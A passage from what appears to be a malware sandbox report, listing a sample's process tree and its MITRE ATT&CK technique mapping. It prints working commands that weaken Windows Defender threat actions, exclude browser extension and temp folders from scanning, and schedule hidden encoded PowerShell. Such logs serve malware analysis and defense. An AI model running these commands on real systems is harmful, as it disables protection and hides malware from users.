    PID:2436
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3488
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4812
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3296
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3816
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4640
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5424
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2328
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5048
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RKrrVaXXRkyU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RKrrVaXXRkyU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SyLYnxBDrvwnC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SyLYnxBDrvwnC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hBSCUihLQgbWRjbaUSR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hBSCUihLQgbWRjbaUSR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jnZuMDLgU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jnZuMDLgU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\prPmKzeVCFUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\prPmKzeVCFUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\YNmVtKIhxUNsrgVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\YNmVtKIhxUNsrgVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\fvLIfGGBBdNYLYAis\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\fvLIfGGBBdNYLYAis\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\LVCnHeNtpGpwKZds\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\LVCnHeNtpGpwKZds\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:5360
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RKrrVaXXRkyU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2096
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RKrrVaXXRkyU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:4984
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RKrrVaXXRkyU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1384
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SyLYnxBDrvwnC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5200
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SyLYnxBDrvwnC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5176
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hBSCUihLQgbWRjbaUSR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2804
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hBSCUihLQgbWRjbaUSR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5816
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jnZuMDLgU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5824
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jnZuMDLgU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1960
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\prPmKzeVCFUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2588
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\prPmKzeVCFUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5740
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\YNmVtKIhxUNsrgVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5940
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\YNmVtKIhxUNsrgVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4260
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4280
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5224
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5112
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1892
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\fvLIfGGBBdNYLYAis /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4324
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\fvLIfGGBBdNYLYAis /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2348
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\LVCnHeNtpGpwKZds /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5964
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\LVCnHeNtpGpwKZds /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6112
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gNeYrIDgN" /SC once /ST 05:31:19 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:3748
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gNeYrIDgN"
  2⤵
  PID:1740

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:4612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion